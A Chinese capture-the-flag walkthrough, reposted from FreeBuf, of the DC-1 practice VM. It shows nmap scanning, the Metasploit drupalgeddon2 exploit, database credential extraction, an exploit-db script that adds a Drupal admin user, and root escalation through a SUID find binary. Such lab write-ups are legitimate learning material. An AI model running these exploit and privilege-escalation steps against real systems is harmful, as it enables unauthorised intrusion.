DC-1靶机 – 作者:dnsill

描述
DC-1是基于Debian 32位内置的VirtualBox VM。

DC-1是一个专门建造的易受攻击的实验室,目的是获得渗透测试领域的经验。
它的设计初学者是一个挑战,但是它的难易程度取决于您的技能和知识以及学习能力。
总共有5个标志,最终目标是在根的主目录中找到并读取第5个标志。

DC-1靶机下载地址

你可以把它运行在VirtualBox VM和VMware中。

环境

VMware:DC-1 IP:192.168.236.136
攻击机:kali linux IP:192.168.236.133

001
人狠话不多,上来就是nmap。

nmap -A 192.168.236.136 

看看扫描结果

微信截图_20200408221046.png
开放了22的ssh 80的http apache 111的rpcbind等。
重点看看到80端口上运行着Drupal 7和一些敏感的目录文件等等。

80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site

来访问一下80吧。

微信截图_20200408221645.png

简简单单的,看了下登录没有注入。先不爆破吧。其他页面也没什么突破。
敏感的目录文件也没什么可以利用的。

在msf中看看有没有Drupal 7的exp吧。
微信截图_20200408222614.png

真好看
我们来直接msf5 > search Drupal

微信截图_20200408223026.png

我们就拿exploit/unix/webapp/drupal_drupalgeddon2

msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)


msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.236.136
rhosts => 192.168.236.136
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

微信截图_20200408223440.png

来看看权限吧 getuid

微信截图_20200408223810.png

权限不高,看来提权是有的。输入shell,成功拿到一个shell。

微信截图_20200408223643.png

使用ls看看目录吧,拿到flag1.txt

微信截图_20200408224051.png

看看flag,应该有提示。

微信截图_20200408224544.png

它说

Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件-你也是。

好的,我们去看看它的配置文件。文件在sites/default/setting.php

微信截图_20200408225419.png

使用cat setting.php命令打开,看到有数据库信息和flag2。

微信截图_20200408225659.png

flag2中提示说:

微信截图_20200408225750.png

看来是提示我们使用那个数据库信息去进入数据库中拿后台的账号密码什么的了。

使用mysql -udbuser -p输入密码R0ck3t登录mysql发现终端不能正常回显信息,应该是cmd.exe被限制了。

微信截图_20200409141200.png

用我们CTRL + C回到Meterpreter中吧,展示进入再次shell中,使用python -v看到的英文有Python的。

微信截图_20200409142105.png

发现系统自带Python 2.7.3,通过pty.spawn()获得交互shell吧

微信截图_20200409142444.png

使用mysql -udbuser -p输入密码R0ck3t登录mysql

微信截图_20200409142556.png

mysql>use drupaldb;                #使用drupaldb数据库
mysql>show tables;                 #查看数据库内的表

微信截图_20200409142835.png

可以看到一个user的表

微信截图_20200409142939.png

select语句查询,找到可用于登录的用户admin和密码密文。select * from users;

微信截图_20200409143101.png

破解不了,难受。我们去exploitdb中看看有没有攻击admin的脚本吧。searchsploit drupal

运气不错,在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个管理员权限的用户。

微信截图_20200409143421.png

python exploits/php/webapps/34992.py -t 192.168.236.136 -u admin1 -p admin1 利用一下

微信截图_20200409143723.png

使用admin1 admin1登录后台在Content中拿到flag3

微信截图_20200409143857.png

根据flag3的信息我们知道

20191127152615775.png

应该要查看shadow文件,并使用SUID命令提权。

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

我们回到shell中使用find / -user root -perm -4000 -print 2>/dev/null,命令查找具有root权限的SUID的文件。

微信截图_20200409144537.png

$ find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs

我们随便找一个命令进行利用,我们就找寻找,先查看其信息,发现其确实是root用户权限的SUID的文件

find . -exec /bin/sh ; -quit

微信截图_20200409144832.png

拿到了root权限,查看shadow文件

发现flag4,和flag4是一个用户,flag4用户密码可以使用ssh登录进行爆破,还是那句话先不爆破吧。

微信截图_20200409145215.png

想了一下,我都是root了,我他妈直接查找不可以吗??我真聪明!!

微信截图_20200409145812.png

find -name “flag4.txt” 命令拿到flag4。

微信截图_20200409145903.png

这个作者有的皮。。

使用find配合正则进行一个模糊搜索吧。

find * -name "*.txt" 搜索所有.txt的文件。不要问我为什么!!!反正搜索flag5不行。

微信截图_20200409150358.png

成功拿到flag5,看到thfinalflag.txt知道为什么反正搜索flag5不行了吧。

其实作者说了在根文件中了的

微信截图_20200409150600.png

哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈

DC-2见

弟弟的公众号 

qrcode_for_gh_20b40bcfd888_258 (1).jpg

来源:freebuf.com 2020-04-10 10:20:13 by: dnsill

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论